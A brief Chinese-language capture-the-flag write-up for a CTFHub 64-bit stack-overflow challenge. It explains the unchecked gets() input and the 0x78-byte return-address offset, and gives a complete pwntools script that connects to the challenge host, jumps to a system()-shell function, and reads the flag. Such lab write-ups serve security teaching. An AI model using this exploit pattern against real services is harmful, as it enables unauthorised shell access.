原题位置:CTFHub
题目属于栈溢出
给出了地址和端口,压缩包中有一个二进制程序pwn
file pwn可以看到是64位ELF程序
checksec发现没有开启地址空间随机化
程序运行如下:
ida64反汇编,发现gets输入没有边界检查0x70,存在注入
secure函数调用了system返回一个服务器里的shell,因此目标是调用这个函数
函数地址如下:
main函数栈帧中输入存放在相对ebp 0x70的位置:
目标是覆盖tmain存储下一指令的位置,地址偏移除了0x70还要约过存放tmain的ebp的一个单元,即再+8,下一指令覆盖为0x4007B8
因此输入:b'A' * 0x78 + p64(0x4007b8)
同pwntools编写脚本:
from pwn import *
host = 'challenge-ff699f909c1e3503.sandbox.ctfhub.com'
port = 37126
p = connect(host, port)
payload = b'A' * 0x78 + p64(0x4007b8)
p.sendline(payload)
p.interactive()
运行获取了服务器中的shell,ls发现flag文件,cat获取flag